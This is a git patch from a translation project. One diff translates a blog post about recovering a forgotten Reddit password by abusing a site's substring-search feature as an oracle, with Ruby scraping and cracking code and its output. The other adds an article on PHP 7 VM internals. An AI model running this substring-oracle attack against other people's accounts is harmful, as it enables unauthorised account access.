-*Essentially, I’ve been given an interface to perform substring queries.* By entering in a string into the search bar, the search results will confirm whether my password contains this substring.
+**本质上这是一个执行子字符串检索的界面。**通过在搜索栏输入字符串，搜索结果会告诉我密码中是否有我输入的子字符串。
 
-**We’re in business.**
+**万事俱备。**
 
-I hurry into my apartment, drop my bag, and pull out my laptop.
+我赶回自己的公寓，放下包，取出笔记本电脑。
 
-Algorithms problem: you are given a function `substring?(str)`, which returns true or false depending on whether a password contains any given substring. *Given this function, write an algorithm that can deduce the hidden password.*
+算法问题：已知函数 `substring?(str)`，它会根据输入的密码是否包含任何已知的子字符串来返回 True 或 False。给定这个函数，写一个可以推导出隐含密码的算法。
 
-### The Algorithm ###
+### 算法
 
-So let’s think about this. A few things I know about my password: I know it was a long string with some random characters, probably something along the lines of `asgoihej2409g`. I *probably* didn’t include any upper-case characters (and Reddit doesn’t enforce that as a password constraint) so let’s assume for now that I didn’t — in case I did, we can just expand the search space later if the initial algorithm fails.
+让我们好好想想。我记得我的密码有这些特征：随机字符组成的长字符串，就像这样子 `asgoihej2409g`。我很可能没有用任何大写字母（Reddit 并不要求密码中一定有大写字母），那么先假设我没用大写字母。如果我真用了大写字母，第一次尝试失败之后再将搜索范围扩大吧。
 
-We also have a subject line as part of the string we’re querying. And we know the subject is “password”.
+还有一个标题行，是检索的字符串的一部分。而且邮件标题就是 "password"。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*XvaVCyWtSdqKSz59HKnNDw.png">
 
-Let’s pretend the body is 6 characters long. So we’ve got six slots of characters, some of which may appear in the subject line, some of which certainly don’t. So if we take all of the characters that aren’t in the subject and try searching for each of them, we know for sure we’ll hit a unique letter that’s in the password. Think like a game of Wheel of Fortune.
+假设密码长度为 6，就有了 6 个空位来放字符，有些字符会出现在标题行，有些不会。所以可以取出所有没有出现在标题行的字符，逐一尝试进行搜索，肯定可以碰到一个独一无二的字母，恰好出现在密码中。就像是命运之轮游戏。
 
 ![](https://cdn-images-1.medium.com/max/800/1*LOzh--_Ujutrh_OKhjfNaw.png)
 
-We keep trying letters one by one until we hit a match for something that’s not in our subject line. Say we hit it.
+继续逐个字母进行尝试，直到命中没有出现在标题行的字符。这样就找到了。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*fdoVAq3t5naQ5G9yARr0RA.png">
 
-Once I’ve found my first letter, I don’t actually know where in this string I am. But I know I can start building out a bigger substring by appending different characters to the end of this until I hit another substring match.
+找到了第一个字母之后我仍然不知道它在字符串中的位置。不过我知道可以在它后面加一个不同的字符来构造一个更大的子字符串，直到再次命中。
 
-We’ll potentially have to iterate through every character in our alphabet to find it. Any of those characters could be correct, so on average it’ll hit somewhere around the middle, so given an alphabet of size `A`, it should average out to `A/2` guesses per letter (let’s assume the subject is small and there are no repeating patterns of 2+ characters).
+有可能必需遍历字母表中每一个字符才能找到它。任何一个字母都可能是正确的，所以平均来说会命中中间位置的字母，如果字母表有 A 个字母，那么可以预计每个字母平均会落到 A/2 处（假设主题字母较少且没有超过两个字符的重复组合）。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*GJ5xKZzTe0F5un-Iz11pXg.png">
 
-I’ll keep building this substring until it eventually hits the end and no characters can extend it further.
+继续构建子字符串，直到找不到更多的字符。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*E9ri3Rf8LBPxUTjgs5BvPQ.png">
 
-But that’s not enough — most likely, there will be a prefix to the string that I missed, because I started in a random place. Easy enough: all I have to do is now repeat the process, except going backwards.
+不过这还没完 — 不过接近了，我落下了字符串的前缀，因为我是随机选了个起点开始的。不过好办，只需要再重复一下之前的操作，方向反过来就好了。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*F_n0WGRP_8RJdFtR-v0b1g.png">
 
-Once the process terminates, I should be able to reconstruct the password. In total, I’ll need to figure out`L` characters(where `L` is the length), and need to expend on average `A/2` guesses per character (where `A` is the alphabet size), so total guesses = `A/2 * L`.
+搞定之后就可以着手重建密码了。总而言之，我需要搞定 `L` 个字符，每个字符平均需要猜测 `A/2` 次（`A` 是字母表长度），加起来需要猜测 `A/2 * L` 次。
 
-To be precise, I also have to add another `2A` to the number of guesses for ascertaining that the string has terminated on each end. So the total is `A/2 * L + 2A`, which we can factor as `A(L/2 + 2)`.
+准确地说，我还得再猜测 `2A` 次来确保字符串两端都到头了。所以总数是 xxx，提取公因数就是 `A(L/2 + 2)`.
 
-Let’s assume we have 20 characters in our password, and an alphabet consisting of `a-z` (26) and `0–9` (10), so a total alphabet size of 36. So we’re looking at an average of `36 * (20/2 + 2) = 36 * 12 = 432` iterations.
+假设密码中有 20 个字符，字母表由 `a-z` 和 `0–9` 组成，总长度为 36。所以总迭代次数是 `36 * (20/2 + 2) = 36 * 12 = 432`。
 
-Damn.
+可恶。
 
-This is actually doable.
+不过实际上是可行的。
 
 ![](https://media.giphy.com/media/119cVU19ICcAKc/giphy.gif) 
 
-Programming IRL
+生活中的编程
 
-### The Implementation ###
+### 实现
 
-First things first: I need to write a client that can programmatically query the search box. This will serve as my substring oracle. Obviously this site has no API, so I’ll need to scrape the website directly.
+首先：我得写一个客户端，用代码控制搜索框执行检索。也就是我的子字符串「先知」。这个网站显然没有 API，我得直接爬网站。
 
-Looks like the URL format for searching is just a simple query string, `www.lettermelater.com/account.php?**qe=#{query_here}**`. That’s easy enough.
+看起来搜索用的 URL 模式就是简单的检索字符串，`www.lettermelater.com/account.php?**qe=#{query_here}**`。简单吧。
 
-Let’s start writing this script. I’m going to use the Faraday gem for making web requests, since it has a simple interface that I know well.
+开始写脚本吧。我会用 Faraday 这个 gem 完成网络请求，交互简单，我比较熟悉。
 
-I’ll start by making an API class.
+首先写一个 API 类。
 
 ```
 require 'faraday'
@@ -163,7 +163,7 @@ class Api
 end
 ```
 
-Of course, we don’t expect this to work yet, as our script won’t be authenticated into any account. As we can see, the response returns a 302 redirect with an error message provided in the cookie.
+当然，我可没指望这就能用了，毕竟还没有授权脚本登陆我的账号。可以看到响应返回了 302 重定向，还在 cookie 中提供了错误信息。
 
 ```
 [10] pry(main)> Api.get(“foo”)
@@ -180,15 +180,15 @@ Of course, we don’t expect this to work yet, as our script won’t be authenti
 status=302>
 ```
 
-So how do we sign in? We need to send in our [cookies](http://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work) in the header, of course. Using Chrome inspector we can trivially grab them.
+那怎么登陆呢？显然得在 header 中带上 [cookies](http://stackoverflow.com/questions/17769011/how-does-cookie-based-authentication-work)。有了 Chrome 的 inspector 这简直轻而易举。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*PSxZtW4wppyzRXMdBWgGWw.gif">
 
-(Not going to show my real cookie here, obviously. Interestingly, looks like it’s storing `user_id` client-side which is always a great sign.)
+（我当然不会把真的 cookie 贴在这儿。有意思的是看上去 cookie 在客户端保存了 user_id，这是个好信号。）
 
-Through process of elimination, I realize that it needs both `code` and `user_id` to authenticate me… sigh.
+反复排除之后我发现需要 `code` 和 `user_id` 才能通过验证…… 哎。
 
-So I add these to the script. (This is a fake cookie, just for illustration.)
+所以我把这些加到脚本中。（这只是个用作示例的假 cookie）
 
 ```
 
@@ -212,9 +212,9 @@ end
 => true
 ```
 
-It’s got my name in there, so we’re definitely logged in!
+拿到我的名字了，显然登陆成功了！
 
-We’ve got the scraping down, now we just have to parse the result. Luckily, this pretty easy — we know it’s a hit if the e-mail result shows up on the page, so we just need to look for any string that’s unique when the result is present. The string “password” appears nowhere else, so that will do just nicely.
+爬数据搞定了，现在需要解析爬到的数据。幸运的是，这并不难 — 如果页面中出现了 e-mail 就意味着搜索命中了，所以只需要找到这种情况下才会出现的字符串就好了。“password“ 在其他搜索失败的情况下并不会出现，所以就是它了。
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*cZT37Ji9j8sm8dobFpiAWQ.png">
 
@@ -224,7 +224,7 @@ def self.include?(substring)
 end
 ```
 
-That’s all we need for our API class. We can now do substring queries entirely in Ruby.
+API 类弄完了。现在完全可以用 Ruby 实现子字符串检索了。
 
 ```
 [31] pry(main)> Api.include?('password')
@@ -235,9 +235,9 @@ That’s all we need for our API class. We can now do substring queries entirely
 => true
 ```
 
-Now that we know that works, let’s stub out the API while we develop our algorithm. Making HTTP requests is going to be really slow and we might trigger some rate-limiting as we’re experimenting. If we assume our API is correct, once we get the rest of the algorithm working, everything should just work once we swap the real API back in.
+这个搞定之后就要用 stub 替换掉真正的 API 来琢磨算法了。发送 HTTP 请求会非常慢，还有可能在试验的时候被限流。假设 stub API 是正确的，一旦搞定了剩下的算法部分，只要换成真正的 API 可以用了。
 
-So here’s the stubbed API, with a random secret string:
+下面就是内置了随机密码的 stub API 了：
 
 ```
 class ApiStub
@@ -249,17 +249,17 @@ class ApiStub
 end
 ```
 
-We’ll inject the stubbed API into the class while we’re testing. Then for the final run, we’ll use the real API to query for the real password.
+在测试时用 stub API 注入到类中。万事俱备后再用真实的 API 来检索真正的密码。
 
-So let’s get started with this class. From a high level, recalling my algorithm diagram, it goes in three steps:
+下面就开始用 Apistub 类吧。先在较高的层次回忆一下算法流程，主要分为三步：
 
-1. First, find the first letter that’s not in the subject but exists in the password. This is our starting off point.
-2. Build those letters forward until we fall off the end of the string.
-3. Build that substring backwards until we hit the beginning of the string.
+1. 首先，找到第一个标题中没有，却在密码中出现的字母。拿它作起点。
+2. 向前构建字符串，直到字符串尾。
+3. 反向构建字符串，直到字符串头。
 
-Then we’re done!
+这样就搞定了！
 
-Let’s start with initialization. We’ll inject the API, and other than that we just need to initialize the current password chunk to be an empty string.
+先做准备工作。要注入 API，还要把当前的密码段置为空字符串。
 
 ```
 class PasswordCracker
@@ -270,7 +270,7 @@ class PasswordCracker
 end
 ```
 
-Now let’s write three methods, following the steps we outlined.
+接下来写三个方法，就按照刚才计划的做。
 
 ```
   def crack!
@@ -282,23 +282,23 @@ Now let’s write three methods, following the steps we outlined.
 ```
 
 
-Perfect. Now the rest of the implementation can take place in private methods.
+完美。现在剩下的都可以在私有方法中执行。
 
-For finding the first letter, we need to iterate over each character in the alphabet that’s not contained in the subject. To construct this alphabet, we’re going to use `a-z` and `0–9`. Ruby allows us to do this pretty easily with ranges:
+为了找到第一个字母，需要遍历字母表中的每个字符，条件是没有出现在标题中。可以用 a-z 和 0-9 来构造字母表。用 Ruby 的范围运算符（`..`）可以轻松搞定：
 
 ```
 ALPHABET = ((‘a’..’z’).to_a + (‘0’..’9').to_a).shuffle
 ```
 
-I prefer to shuffle this to remove any bias in the password’s letter distribution. This will make our algorithm query A/2 times on average per character, even if the password is non-randomly distributed.
+我偏向于把字母表随机打乱这样可以避免密码中字母的分布造成的偏差。这种情况下算法找到每个字符平均需要检索 A/2 次，即使密码并不是随机分布的。
 
-We also want to set the subject as a constant:
+还可以把标题定义为一个常量。
 
 ```
 SUBJECT = ‘password’
 ```
 
-That’s all the setup we need. Now time to write `find_starting_letter`. This needs to iterate through each candidate letter (in the alphabet but not in the subject) until it finds a match.
+准备工作就是这些。下面该写 `find_starting_letter` 了。这需要遍历每个候选字母（按照字母表顺序，当然不能出现在标题中），直到第一个匹配。
 
 ```
   private
@@ -309,15 +309,15 @@ That’s all the setup we need. Now time to write `find_starting_letter`. This n
   end
 ```
 
-In testing, looks like this works perfectly:
+在测试阶段看上去效果不错：
 
 ```
 PasswordCracker.new(ApiStub).send(:find_starting_letter!) # => 'f'
 ```
 
-Now for the heavy lifting.
+下面是难点。
 
-I’m going to do this recursively, because it makes the structure very elegant.
+我会用递归来实现，因为结构更优雅。
 
 ```
 def build_forward!
@@ -335,7 +335,7 @@ def build_forward!
   end
 ```
 
-The code is surprisingly straightforward. Let’s see if it works with our stub API.
+上面的代码简洁明了。现在看看能不能和 stub API 工作。
 
 ```
 [63] pry(main)> PasswordCracker.new(ApiStub).crack!
@@ -357,7 +357,7 @@ fjpefoj490rjgsd
 => “fjpefoj490rjgsd”
 ```
 
-Awesome. We’ve got a suffix, now just to build backward and complete the string. This should look very similar.
+赞！有了后缀，现在需要反向构建字符串。代码应该看上去很相似。
 
 ```
 def build_backward!
@@ -374,7 +374,7 @@ def build_backward!
 ```
 
 
-In fact, there’s only two lines of difference here: how we construct the `guess`, and the name of the recursive call. There’s an obvious refactoring here, so let’s do it.
+实际上只有两行代码有异：如何构建 `guess`，以及递归调用的名字。可以重构一下。
 
 ```
 def build!(forward:)
@@ -391,7 +391,7 @@ def build!(forward:)
   end
 ```
 
-Now these other calls simply reduce to:
+现在另一个调用可以简化为：
 
 ```
   def build_forward!
@@ -403,7 +403,7 @@ Now these other calls simply reduce to:
   end
 ```
 
-And let’s see how it works in action:
+来实战一下：
 
 
 ```
@@ -433,7 +433,7 @@ Current password: g420hpfjpefoj490rjgsd
 g420hpfjpefoj490rjgsd
 ```
 
-Beautiful. Now let’s just add some more print statements and a bit of extra logging, and we’ll have our finished `PasswordCracker`.
+漂亮。再加一些 print 语句和 log，`PasswordCracker` 就完成了。
 
 ```
 require 'faraday'
@@ -522,43 +522,44 @@ class ApiStub
 end
 ```
 
-And now… the magic moment. Let’s swap the stub with the real API and see what happens.
+接下来......就是见证奇迹的时刻。把 stub API 换成真实的 API，看看结果怎么样。
 
-### The Moment of Truth ###
+### 见证真相的时刻
 
-Cross your fingers…
+上天保佑……
 
 `PasswordCracker.new(Api).crack!`
 
 <img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*NR-y9WthtHg4DVjLDwikVA.gif">
 
-(Sped up 3x)
+（三倍速）
 
-Boom. 443 iterations.
+Boom. 443 次迭代。
 
-Tried it out on Reddit, and login was successful.
+赶紧去 Reddit 试了一下，成功登录。
 
-Wow.
+哇噢。
 
-It… actually worked.
+真的有效。
 
-Recall our original formula for the number of iterations: `A(N/2 + 2)`. The true password was 22 characters, so our formula would estimate `36 * (22/2 + 2) = 36 * 13 = 468` iterations. Our real password took 443 iterations, so our estimate was within 5% of the observed runtime.
+回忆一下原来那个计算迭代数的公式：`A(N/2 + 2)`。真正的密码长度为 22，所以公式预计需要 `36 * (22/2 + 2) = 36 * 13 = 468` 次迭代。实际上用了 443 次迭代，所以估计值和观测值的误差在 5% 以内。
 
-**Math.**
+**这就是数学。**
 
 ![](https://media.giphy.com/media/26xBI73gWquCBBCDe/giphy.gif) 
 
-tfw wtf ftw
+什么鬼 鬼什么 什鬼么
 
-**It works.**
+**真的有效**
 
-Embarrassing support e-mail averted. Reddit rabbit-holing restored. It’s now confirmed: programming is, indeed, magic.
+不用给客服写尴尬的邮件了。重获 Reddit 休闲时光。事实证明：编程，的确是，魔法。
 
-(The downside is I am now going to have to find a new technique to lock myself out of my accounts.)
+（不过我又得找个新办法让自己暂时无法登录了。）
 
-And with that, I’m gonna get back to my internet rabbit-holes. Thanks for reading, and give it a like if you enjoyed this!
+有了编程之技，我又可以在互联网上挥霍时间了。感谢阅读，如果喜欢请点赞！
 
 *—Haseeb*
+
 ---
 
 > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From d3492df32992f7c2ce268e937a46ef021f5f0ede Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Wed, 19 Apr 2017 21:54:02 +0800
Subject: [PATCH 209/638] Create PHP-7-Virtual-machine.md

---
 TODO/PHP-7-Virtual-machine.md | 1314 +++++++++++++++++++++++++++++++++
 1 file changed, 1314 insertions(+)
 create mode 100644 TODO/PHP-7-Virtual-machine.md

diff --git a/TODO/PHP-7-Virtual-machine.md b/TODO/PHP-7-Virtual-machine.md
new file mode 100644
index 00000000000..b2f3c218844
--- /dev/null
+++ b/TODO/PHP-7-Virtual-machine.md
@@ -0,0 +1,1314 @@
+> * 原文地址：[PHP 7 Virtual Machine](http://nikic.github.io/2017/04/14/PHP-7-Virtual-machine.html)
+> * 原文作者：[nikic](http://nikic.github.io/aboutMe.html)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# PHP 7 Virtual Machine #
+        
+This article aims to provide an overview of the Zend Virtual Machine, as it is found in PHP 7. This is not a
+comprehensive description, but I try to cover most of the important parts, as well as some of the finer details.
+
+This description targets PHP version 7.2 (currently in development), but nearly everything also applies to PHP 7.0/7.1.
+However, the differences to the PHP 5.x series VM are significant and I will generally not bother to draw parallels.
+
+Most of this post will consider things at the level of instruction listings and only a few sections at the end deal with
+the actual C level implementation of the VM. However, I do want to provide some links to the main files that make up the
+VM upfront:
+
+- [zend_vm_def.h](https://github.com/php/php-src/blob/master/Zend/zend_vm_def.h): The VM definition file.
+- [zend_vm_execute.h](https://github.com/php/php-src/blob/master/Zend/zend_vm_execute.h): The generated virtual machine.
+- [zend_vm_gen.php](https://github.com/php/php-src/blob/master/Zend/zend_vm_gen.php): The generating script.
+- [zend_execute.c](https://github.com/php/php-src/blob/master/Zend/zend_execute.c): Most of the direct support code.
+
+## Opcodes ##
+
+In the beginning, there was the opcode. “Opcode” is how we refer to a full VM instruction (including operands), but may
+also designate only the “actual” operation code, which is a small integer determining the type of instruction. The
+intended meaning should be clear from context. In source code, full instructions are usually called “oplines”.
+
+An individual instruction conforms to the following `zend_op` structure:
+
+```
+struct _zend_op {
+    const void *handler;
+    znode_op op1;
+    znode_op op2;
+    znode_op result;
+    uint32_t extended_value;
+    uint32_t lineno;
+    zend_uchar opcode;
+    zend_uchar op1_type;
+    zend_uchar op2_type;
+    zend_uchar result_type;
+};
+```
+
+As such, opcodes are essentially a “three-address code” instruction format. There is an `opcode` determining the
+instruction type, there are two input operands `op1` and `op2` and one output operand `result`.
+
+Not all instructions use all operands. An `ADD` instruction (representing the `+` operator) will use all three. A
+`BOOL_NOT` instruction (representing the `!` operator) uses only op1 and result. An `ECHO` instruction uses only op1.
+Some instructions may either use or not use an operand. For example `DO_FCALL` may or may not have a result operand,
+depending on whether the return value of the function call is used. Some instructions require more than two input
+operands, in which case they will simply use a second dummy instruction (`OP_DATA`) to carry additional operands.
+
+Next to these three standard operands, there exists an additional numeric `extended_value` field, which can be used to
+hold additional instruction modifiers. For example for a `CAST` it might contain the target type to cast to.
+
+Each operand has a type, stored in `op1_type`, `op2_type` and `result_type` respectively. The possible types are
+`IS_UNUSED`, `IS_CONST`, `IS_TMPVAR`, `IS_VAR` and `IS_CV`.
+
+The three latter types designated a variable operand (with three different types of VM variables), `IS_CONST` denotes
+a constant operand (`5` or `"string"` or even `[1, 2, 3]`), while `IS_UNUSED` denotes an operand that is either actually
+unused, or which is used as a 32-bit numeric value (an “immediate”, in assembly jargon). Jump instructions for example
+will store the jump target in an `UNUSED` operand.
+
+### Obtaining opcode dumps ###
+
+In the following, I’ll often show opcode sequences that PHP generates for some example code. There are currently three
+ways by which such opcode dumps may be obtained:
+
+```
+# Opcache, since PHP 7.1
+php -d opcache.opt_debug_level=0x10000 test.php
+
+# phpdbg, since PHP 5.6
+phpdbg -p* test.php
+
+# vld, third-party extension
+php -d vld.active=1 test.php
+
+```
+
+Of these, opcache provides the highest-quality output. The listings used in this article are based on opcache dumps,
+with minor syntax adjustments. The magic number `0x10000` is short for “before optimization”, so that we see the opcodes
+as the PHP compiler produced them. `0x20000` would give you optimized opcodes. Opcache can also generate a lot more
+information, for example `0x40000` will produce a CFG, while `0x200000` will produce type- and range-inferred SSA form.
+But that’s getting ahead of ourselves: plain old linearized opcode dumps are sufficient for our purposes.
+
+## Variable types ##
+
+Likely one of the most important points to understand when dealing with the PHP virtual machine, are the three distinct
+variable types it uses. In PHP 5 TMPVAR, VAR and CV had very different representations on the VM stack, along with
+different ways of accessing them. In PHP 7 they have become very similar in that they share the same storage mechanism.
+However there are important differences in the values they can contain and their semantics.
+
+CV is short for “compiled variable” and refers to a “real” PHP variable. If a function uses variable `$a`, there will be
+a corresponding CV for `$a`.
+
+CVs can have `UNDEF` type, to denote undefined variables. If an UNDEF CV is used in an instruction, it will (in most
+cases) throw the well-known “undefined variable” notice. On function entry all non-argument CVs are initialized to be
+UNDEF.
+
+CVs are not consumed by instructions, e.g. an instruction `ADD $a, $b` will *not* destroy the values stored in CVs `$a`
+and `$b`. Instead all CVs are destroyed together on scope exit. This also implies that all CVs are “live” for the
+entire duration of function, where “live” here refers to containing a valid value (not live in the data flow sense).
+
+TMPVARs and VARs on the other hand are virtual machine temporaries. They are typically introduced as the result operand
+of some operation. For example the code `$a = $b + $c + $d` will result in an opcode sequence similar to the following:
+
+```
+T0 = ADD $b, $c
+T1 = ADD T0, $d
+ASSIGN $a, T1
+
+```
+
+TMP/VARs are always defined before use and as such cannot hold an UNDEF value. Unlike CVs, these variable types *are*
+consumed by the instructions they’re used in. In the above example, the second ADD will destroy the value of the T0
+operand and T0 must not be used after this point (unless it is written to beforehand). Similarly, the ASSIGN will
+consume the value of T1, invalidating T1.
+
+It follows that TMP/VARs are usually very short-lived. In a large number of cases a temporary only lives for the space
+of a single instruction. Outside this short liveness interval, the value in the temporary is garbage.
+
+So what’s the difference between TMP and VAR? Not much. The distinction was inherited from PHP 5, where TMPs were VM
+stack allocated, while VARs were heap allocated. In PHP 7 all variables are stack allocated. As such, nowadays the main
+difference between TMPs and VARs is that only the latter are allowed to contain REFERENCEs (this allows us to elide
+DEREFs on TMPs). Furthermore VARs may hold two types of special values, namely class entries and INDIRECT values. The
+latter are used to handle non-trivial assignments.
+
+The following table attempts to summarize the main differences:
+
+```
+       | UNDEF | REF | INDIRECT | Consumed? | Named? |
+-------|-------|-----|----------|-----------|--------|
+CV     |  yes  | yes |    no    |     no    |  yes   |
+TMPVAR |   no  |  no |    no    |    yes    |   no   |
+VAR    |   no  | yes |   yes    |    yes    |   no   |
+
+```
+
+## Op arrays ##
+
+All PHP functions are represented as structures that have a common `zend_function` header. “Function” here is to be
+understood somewhat broadly and includes everything from “real” functions, over methods, down to free-standing
+“pseudo-main” code and “eval” code.
+
+Userland functions use the `zend_op_array` structure. It has more than 30 members, so I’m starting with a reduced
+version for now:
+
+```
+struct _zend_op_array {
+    /* Common zend_function header here */
+
+    /* ... */
+    uint32_t last;
+    zend_op *opcodes;
+    int last_var;
+    uint32_t T;
+    zend_string **vars;
+    /* ... */
+    int last_literal;
+    zval *literals;
+    /* ... */
+};
+```
+
+The most important part here are of course the `opcodes`, which is an array of opcodes (instructions). `last` is the
+number of opcodes in this array. Note that the terminology is confusing here, as `last` sounds like it should be the
+index of the last opcode, while it really is the number of opcodes (which is one greater than the last index). The same
+applies to all other `last_*` values in the op array structure.
+
+`last_var` is the number of CVs, and `T` is the number of TMPs and VARs (in most places we make no strong distinction
+between them). `vars` in array of names for CVs.
+
+`literals` is an array of literal values occurring in the code. This array is what `CONST` operands reference. Depending
+on the ABI, each `CONST` operand will either a store a pointer into this `literals` table, or store an offset relative
+to its start.
+
+There is more to the op array structure than this, but it can wait for later.
+
+## Stack frame layout ##
+
+Apart from some executor globals (EG), all execution state is stored on the virtual machine stack. The VM stack is
+allocated in pages of 256 KiB and individual pages are connected through a linked list.
+
+On each function call, a new stack frame is allocated on the VM stack, with the following layout:
+
+```
++----------------------------------------+
+| zend_execute_data                      |
++----------------------------------------+
+| VAR[0]                =         ARG[1] | arguments
+| ...                                    |
+| VAR[num_args-1]       =         ARG[N] |
+| VAR[num_args]         =   CV[num_args] | remaining CVs
+| ...                                    |
+| VAR[last_var-1]       = CV[last_var-1] |
+| VAR[last_var]         =         TMP[0] | TMP/VARs
+| ...                                    |
+| VAR[last_var+T-1]     =         TMP[T] |
+| ARG[N+1] (extra_args)                  | extra arguments
+| ...                                    |
++----------------------------------------+
+
+```
+
+The frame starts with a `zend_execute_data` structure, followed by an array of variable slots. The slots are all the
+same (simple zvals), but are used for different purposes. The first `last_var` slots are CVs, of which the first
+`num_args` holds function arguments. The CV slots are followed by `T` slots for TMP/VARs. Lastly, there can sometimes be
+“extra” arguments stored at the end of the frame. These are used for handling `func_get_args()`.
+
+CV and TMP/VAR operands in instructions are encoded as offsets relative to the start of the stack frame, so fetching
+a certain variable is simply an offseted read from the `execute_data` location.
+
+The execute data at the start of the frame is defined as follows:
+
+```
+struct _zend_execute_data {
+    const zend_op       *opline;
+    zend_execute_data   *call;
+    zval                *return_value;
+    zend_function       *func;
+    zval                 This;             /* this + call_info + num_args    */
+    zend_class_entry    *called_scope;
+    zend_execute_data   *prev_execute_data;
+    zend_array          *symbol_table;
+    void               **run_time_cache;   /* cache op_array->run_time_cache */
+    zval                *literals;         /* cache op_array->literals       */
+};
+```
+
+Most importantly, this structure contains `opline`, which is the currently executed instruction, and `func`, which is
+the currently executed function. Furthermore:
+
+- `return_value` is a pointer to the zval into the which the return value will be stored.
+- `This` is the `$this` object, but also encodes the number of function arguments and a couple of call metadata flags
+in some unused zval space.
+- `called_scope` is the scope that `static::` refers to in PHP code.
+- `prev_execute_data` points to the previous stack frame, to which execution will return after this function finished
+running.
+- `symbol_table` is a typically unused symbol table used in case some crazy person actually uses variable variables or
+similar features.
+- `run_time_cache` caches the op array runtime cache, in order to avoid one pointer indirection when accessing this
+structure (which is discussed later).
+- `literals` caches the op array literals table for the same reason.
+
+## Function calls ##
+
+I’ve skipped one field in the execute_data structure, namely `call`, as it requires some further context about how
+function calls work.
+
+All calls use a variation on the same instruction sequence. A `var_dump($a, $b)` in global scope will compile to:
+
+```
+INIT_FCALL (2 args) "var_dump"
+SEND_VAR $a
+SEND_VAR $b
+V0 = DO_ICALL   # or just DO_ICALL if retval unused
+
+```
+
+There are eight different types of INIT instructions depending on what kind of call it is. INIT_FCALL is used for calls
+to free functions that we recognize at compile time. Similarly there are ten different SEND opcodes depending on the
+type of the arguments and the function. There is only a modest number of four DO_CALL opcodes, where ICALL is used for
+calls to internal functions.
+
+While the specific instructions may differ, the structure is always the same: INIT, SEND, DO. The main issue that the
+call sequence has to contend with are nested function calls, which compile something like this:
+
+```
+# var_dump(foo($a), bar($b))
+INIT_FCALL (2 args) "var_dump"
+    INIT_FCALL (1 arg) "foo"
+    SEND_VAR $a
+    V0 = DO_UCALL
+SEND_VAR V0
+    INIT_FCALL (1 arg) "bar"
+    SEND_VAR $b
+    V1 = DO_UCALL
+SEND_VAR V1
+V2 = DO_ICALL
+
+```
+
+I’ve indented the opcode sequence to visualize which instructions correspond to which call.
+
+The INIT opcode pushes a call frame on the stack, which contains enough space for all the variables in the function and
+the number of arguments we know about (if argument unpacking is involved, we may end up with more arguments). This call
+frame is initialized with the called function, `$this` and the `called_scope` (in this case the latter are both NULL, as
+we’re calling free functions).
+
+A pointer to the new frame is stored into `execute_data->call`, where `execute_data` is the frame of the calling
+function. In the following we’ll denote such accesses as `EX(call)`. Notably, the `prev_execute_data` of the new frame
+is set to the old `EX(call)` value. For example, the INIT_FCALL for call `foo` will set the prev_execute_data to the
+stack frame of the `var_dump` (rather than that of the surrounding function). As such, prev_execute_data in this case
+forms a linked list of “unfinished” calls, while usually it would provide the backtrace chain.
+
+The SEND opcodes then proceed to push arguments into the variable slots of `EX(call)`. At this point the arguments are
+all consecutive and may overflow from the section designated for arguments into other CVs or TMPs. This will be fixed
+later.
+
+Lastly DO_FCALL performs the actual call. What was `EX(call)` becomes the current function and `prev_execute_data` is
+relinked to the calling function. Apart from that, the call procedure depends on what kind of function it is. Internal
+functions only need to invoke a handler function, while userland functions need to finish initialization of the stack
+frame.
+
+This initialization involves fixing up the argument stack. PHP allows passing more arguments to a function than it
+expects (and `func_get_args` relies on this). However, only the actually declared arguments have corresponding CVs.
+Any arguments beyond this will write into memory reserved for other CVs and TMPs. As such, these arguments will be moved
+after the TMPs, ending up with arguments segmented into two non-continuous chunks.
+
+To have it clearly stated, userland function calls do not involve recursion at the virtual machine level. They only
+involve a switch from one execute_data to another, but the VM continues running in a linear loop. Recursive virtual
+machine invocations only occur if internal functions invoke userland callbacks (e.g. through `array_map`). This is the
+reason why infinite recursion in PHP usually results in a memory limit or OOM error, but it is possible to trigger a
+stack overflow by recursion through callback-functions or magic methods.
+
+### Argument sending ###
+
+PHP uses a large number of different argument sending opcodes, whose differences can be confusing, no thanks to some
+unfortunate naming.
+
+SEND_VAL and SEND_VAR are the simplest variants, which handle sending of by-value arguments that are known to be
+by-value at compile time. SEND_VAL is used for CONST and TMP operands, while SEND_VAR is for VARs and CVs.
+
+SEND_REF conversely, is used for arguments that are known to be by-reference during compilation. As only variables can
+be sent by reference, this opcode only accepts VARs and CVs.
+
+SEND_VAL_EX and SEND_VAR_EX are variants of SEND_VAL/SEND_VAR for cases where we cannot determine statically whether the
+argument is by-value or by-reference. These opcodes will check the kind of the argument based on arginfo and behave
+accordingly. In most cases the actual arginfo structure is not used, but rather a compact bit vector representation
+directly in the function structure.
+
+And then there is SEND_VAR_NO_REF_EX. Don’t try to read anything into its name, it’s outright lying. This opcode is
+used when passing something that isn’t really a “variable” but does return a VAR to a statically unknown argument. Two
